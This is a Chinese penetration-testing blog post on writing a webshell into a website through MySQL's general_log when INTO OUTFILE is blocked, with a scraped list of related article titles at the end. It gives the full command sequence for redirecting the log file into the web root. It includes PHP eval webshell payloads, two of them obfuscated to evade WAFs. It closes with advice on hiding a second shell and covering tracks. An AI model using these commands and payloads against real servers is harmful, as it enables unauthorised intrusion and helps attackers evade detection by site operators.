0×01 前言

实际渗透过程中,我们很可能会遇到这样的情况,明明是正儿八经的mysql root权限,但实际利用into outfile写shell的时候,却怎么都写不进去,前提可以肯定的是,我们对目标的网站目录绝对是有写权限的且mysql的root用户本身并没有被降权,一般出现这样的情况很可能就是因为into outfile被禁用或waf拦截,希望下面的方式能帮到你

0×02 拿shell

利用mysql日志文件来写shell,究其原理其实也非常简单,当我们开启general_log以后,每执行一条sql都会被自动记录到这个日志文件中,我们就可以通过这种方式,把我们的shell代码也自动写进去,运维可能平时都是拿这个来查慢查询,只会临时开启下,所以,如果想利用,就只能我们自己手动开,这就是为什么要root权限才行,因为它涉及到mysql自身参数配置,其实,这里稍微有点儿mysql常识心里都很清楚:

先看下当前mysql默认的日志位置在什么地方,’C:\ProgramData\MySQL\MySQL Server 5.5\Data\2008R2DC.log’

顺手把原来正常的日志路径稍微记录下,等会儿干完活儿再把它恢复回来

mysql> show variables like '%general%';

默认基本都是关闭的,不然这个增删改查的记录量可能会非常大

mysql> set global general_log = on;

此时,再将原本的日志文件位置指向到目标网站的物理路径

mysql> set global general_log_file = 'C:/Program Files (x86)/Apache Software Foundation/Apache2.2/htdocs/abouts.php';

开始写shell,这里就是个普通的shell,不免杀,如果有waf的话,可以用下面的免杀shell

mysql> select '<?php eval($_POST[request]);?>';

mysql> select "<?php $sl = create_function('', @$_REQUEST['klion']);$sl();?>"; 免杀shell,eval方式

mysql> SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['klion']));?>"; 别人的免杀shell,assert&base64encode方式

0×03 务必要处理好后事

最后,干完活儿以后务必记得把配置恢复原状,然后悄悄的离开就好

[不然,目标站如果访问量比较大,日志文件可能会瞬间暴增连shell时会巨卡]

拿到shell记得马上再传一个shell[放的隐蔽点,关于webshell隐藏细节,请参考博客相关文章]

然后再通过新的shell把最开始这个shell删掉,谨慎一点,起码不会让你的shell掉的那么快

mysql> set global general_log_file = 'C:\ProgramData\MySQL\MySQL Server 5.5\Data\2008R2DC.log';

mysql> set global general_log = off;

0×04 后话

并不是什么特别新奇的技巧,都是mysql自身的一些基础特性挖掘利用,大家真正的理解才是主要的,利用过程中可能并非一帆风顺,把解决问题的过程记录下来,才是你真正的收获,祝大家好运

0×05 想成功利用的两个必要条件

事先要想办法找到目标站点的物理路径,不然要把log指向哪里呢

因为我们从外部能访问并执行webshell的地方只有目标的网站目录

当前数据库服务用户对所上面指向的目标网站目录必须能写,不然,log文件是根本没法创建的

其实,说实话,能同时满足这两点的目标并不多

如果目标网站对错误处理的很好,web服务用户和数据库用户权限隔离很清晰基本也是很难利用成功的,确实略显积累,但不失为一种好思路,非常值得拓展

像这种东西可能还是比较适合那些集成环境,比如,appserv,xampp…

因为权限全部都映射到同一个系统用户上了,如果是win平台,权限通常都比较高[实际上多数都直接是system]

linux mysql general_利用mysql general log 写shell 可行性简要分析相关推荐

  1. 获取linux内核基址,Linux内核漏洞利用技术:覆写modprobe_path

    0x00 前言 如果大家阅读过我此前发表的Linux内核漏洞利用的相关文章,可能会知道我们最近一直在学习这块内容.在过去的几周里,我的团队参加了DiceCTF和UnionCTF比赛,其中都包括了Lin ...

  2. linux脚本怎怎么屏蔽段落,怎么写shell脚本才能不耍流氓?

    1.不记录日志的 SHELL 脚本就是耍流氓! 我们经常在工作中会遇到一个苦恼的事情,一个 Shell 脚本到底干了什么,什么时候开始执行,什么时候结束的.尤其是数据库备份,我们想知道我们的 MySQ ...

  3. MySQL的日志 - general log

    微信搜索『coder-home』,或者扫一扫右侧的二维码,关注『程序猿集锦』. 了解更多干货分享,还有各类视频教程. 扫描它,带走我. 文章目录 前言 general log 如何开启 general ...

  4. 2021-06-03web渗透学习之mof提权(MySQL 漏洞利用与提权)(转自国大佬)

    自从接触安全以来就 MySQL 的 UDF 提权.MOF 提权耳熟能详,但是貌似国光我一直都没有单独总结过这些零散的姿势点,所以本文就诞生了,再解决自己以前的困扰之余,也希望本文可以帮助到其他网友. ...

  5. 【Mysql】认识Mysql重要架构(一)

    1.Mysql 体系架构 MySQL Server架构自顶向下大致可以分网络连接层.核心服务层.存储引擎层和系统文件层 网络连接层: 主要负责连接处理.身份验证.安全性等,一般 C/S 架构都会有这一 ...

  6. linux将mysql中得配置为可读写_MySQL注入 利用系统读、写文件

    能读写文件的前提 不同系统.不同的数据库版本有细微差异,以下实验在Windows10和Mysql 5.7.26下操作: 1.拥有该File的读权限 or 该目录写的权限 2.当前用户的secure_f ...

  7. linux下安装mysql(利用Cloudera Manager安装集群中的CDH环境的第七步)(CM安装CDH第七步)

    第一步官网上下载  对应linux系统下mysql的tar.gz解压包 第二步linux下新建一个自定义目录,利用xftp工具将下载的 这个mysql-5.7.24-linux-glibc2.12-x ...

  8. bt5 mysql root_MySQL_Linux利用UDF库实现Mysql提权,环境: os:linux(bt5)database - phpStudy...

    Linux利用UDF库实现Mysql提权 环境: os:linux(bt5) database:mysql 简述: 通过自定义库函数来实现执行任意的程序,这里只在linux下测试通过,具体到windo ...

  9. 5、MySQL通用查询日志(General Query Log)

    通用查询日志(General Query Log)用来记录用户的所有操作,包括启动和关闭 MySQL 服务.更新语句和查询语句等. 默认情况下,通用查询日志功能是关闭的.可以通过以下命令查看通用查询日 ...

最新文章

  1. 2018-3-14智能算法(文章--优化问题的智能算法及其哲学内涵)笔记一(什么是优化问题)
  2. Elasticsearch之分布式介绍
  3. zeroc ice php,ZeroC ICE+PHP整合
  4. OSChina 周一乱弹 —— 抱着漂亮袜子就亲了一口
  5. 网络布线,多图、有细节,【炮哥】讲诉,值得无经验午饭手抄
  6. booloader编写
  7. 重载函数编译后的新名字
  8. SharePoint 2010的数据库服务器实例默认为sqlserver2
  9. 绝对路径、相对路径详解
  10. 计算机专业寒假打工大一,大一学生寒假打工心得3篇
  11. mysql数据库事务模拟转账_mysql数据库事务阐发:实现银行转账功能的优化,附代码+实现过程...
  12. 张正友标定法的非opencv库函数实现
  13. 自然辩证法与计算机科学的关系,自然辩证法和科学技术有什么关系
  14. 变形金刚2影院版完整字幕
  15. webrtc 支持h264 思路
  16. python爬虫——链家苏州成交房价2
  17. Python爬虫实战 爬取同城艺龙酒店信息
  18. influxdb学习笔记
  19. Python——列表的常用操作
  20. adonis命令new

热门文章

  1. 根据当前日期返回星期数
  2. arm搭建云手机教程_教你从0开始部署阿里云服务器,阿里云服务器搭建网站教程...
  3. 信息学奥赛一本通(1143:最长最短单词)
  4. 信息学奥赛一本通(1078:求分数序列和)
  5. 小木棍(洛谷-P1120)
  6. 全排列(信息学奥赛一本通-T1199)
  7. 信息学奥赛C++语言:津津的储蓄计划
  8. 35 SD配置-销售凭证设置-定义项目类别组
  9. 360天擎默认卸载密码_用好360(四)
  10. 浅谈Opencl四大模型之Programming Model